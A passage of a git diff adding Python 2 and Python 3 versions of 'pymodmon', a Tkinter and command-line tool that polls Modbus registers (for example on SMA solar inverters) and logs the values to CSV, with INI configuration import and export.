Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = 